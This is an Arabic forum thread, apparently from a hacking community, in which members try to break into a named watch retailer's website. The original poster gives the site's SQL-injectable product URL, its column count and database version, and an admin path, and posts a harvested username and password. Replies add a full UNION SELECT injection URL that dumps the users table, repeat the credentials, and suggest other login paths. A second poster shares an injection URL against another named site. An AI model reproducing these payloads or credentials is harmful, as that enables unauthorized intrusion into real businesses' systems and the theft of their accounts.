اوجت الباس واليوزر المدير ولكن لايدخل لوحه التحكم

[xoxoxo10]

السلام عليكم ورحمه الله وبركاته
ها الموقع لم اجد الباس واليوزر للوحه التحكم برغم اني حصلت اسم المستخدم ADMIN وكلمه المرور W6794633 ورقم العضويه 6
وبعد عده محاولات تبين انه اسم المستخدم والكلمه المرور ليست لوحة التحكم انما للدخول الأعضاء يعني الدخول مثل الدخول على المنتدى

ونا راح اعطيكم الثغره ومسار لوحه التحكم و أريد منكم ان تجدوا الباس واليوزر لوحه التحكم وتشرحولي وش الخطأ لي انا سويته عشان ما طلعلي باس واليوزر لوحه التحكم

الثغره

كود PHP:

http://www.danishdesignwatches.eu/prod_detail.php?id=25 


عدد الأعمده المصابه18
اصدار القاعد:الأصدار الخامس

مسار لوحه التحكم

كود PHP:

http://www.danishdesignwatches.eu/admin/index.php 


وهذا مساره الدخول مثل دخول الأعضاء الي اليزور والباس حقه هوADMINوW6794633

كود PHP:

http://www.danishdesignwatches.eu/ddnet.php 


المصدر: :: vBspiders Professional Network ::

---

Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC h,[j hgfhs ,hgd,.v hgl]dv ,g;k ghd]og g,pi hgjp;l

[hamza119944]

انا اعتقد ان الباس مشفر لكن مش متأكد من نوعية التشفير

[xoxoxo10]

يا اخي العزيز الباس مو مشفر ولاشي اتمنى انك قريت الموضوع كامل

[KaLa$nikoV]

http://www.danishdesignwatches.eu/pr....ddnet_users--

هذا الناتج الوحيد الي معانا

والله ورسوله اعلم

[KaLa$nikoV]

ملاحظه اليوزر مش ادمين زي ما انت كاتب اتحقق منه

[xoxoxo10]

يعطيك العافيه اخوي ولكن لا يدخل لوحه التحكم لماذا

[KaLa$nikoV]

ممم

احتمال انه اللوحه الي انت بدك باسوردها لسكربت اخر

والله اعلم

[الشبح المرح]

اتفضل اخوي

اليوزر : admin

الباس : W6794633

[xoxoxo10]

اقتباس المشاركة الأصلية كتبت بواسطة الشبح المرح اتفضل اخوي اليوزر : admin الباس : W6794633

يعطيك العافيه
ولكن وش السبب الذي لا يجعلني ادخل لوحه التحكم برغم كل شي سليم

[albarcelony]

اخي الكريم كل اليوزرات الي انت وجدتها ليست يوزر ادمن الموقع بل يوزرات عاديه
admin
W6794633
هذا يوزر عادي وليس يوزر الموقع

اذا كنت متأكد من انه جدول الادمن للموقع فجرب هذه اليوزرات

http://www.danishdesignwatches.eu/prod_detail.php?id=-25+UNION%20SELECT%201,2,3,4,5,6,7,group_concat%28login,0x3a,password%29,9,10,11,12,13,14,15,16,17,18+from+26872admin.ddnet_users--

[xoxoxo10]

سئلت احد االهكر قالي ان السكربت قديم او محذوف

[مستر داتا بيز]

اخى فولدر admin ده تابع لسكريبت تانى يعنى معمول بقصد التمويه والدليل انك لو تلاحظ او سحبت ملف الانديكس بتاع الفولدر هتلاقيه مش هوا نفس نظام السكريبت وملهوش علاقه ايضا بالموقع

فى مسار اخر يا اخى العزيز للوحة التحكم
واليوزر والباس تمام مفيهمش مشكله وبيدخلو كمان من قائمة الاعضاء دور اخى على لينك الوحة التانى
تحياتى

[الخواجه]

نفس المشكله

http://www.bjrtraining.co.uk/store/i...8+from+login--

[مستر داتا بيز]

اخى الخواجه انت اصدار القاعده تبعك 4.1.22-log
يعنى كل شغلك تخمين

تحياتى

[الخواجه]

اخى خمنت وطلعت اليوزر والباسورد

ولكن لا يدخل لوحه التحكم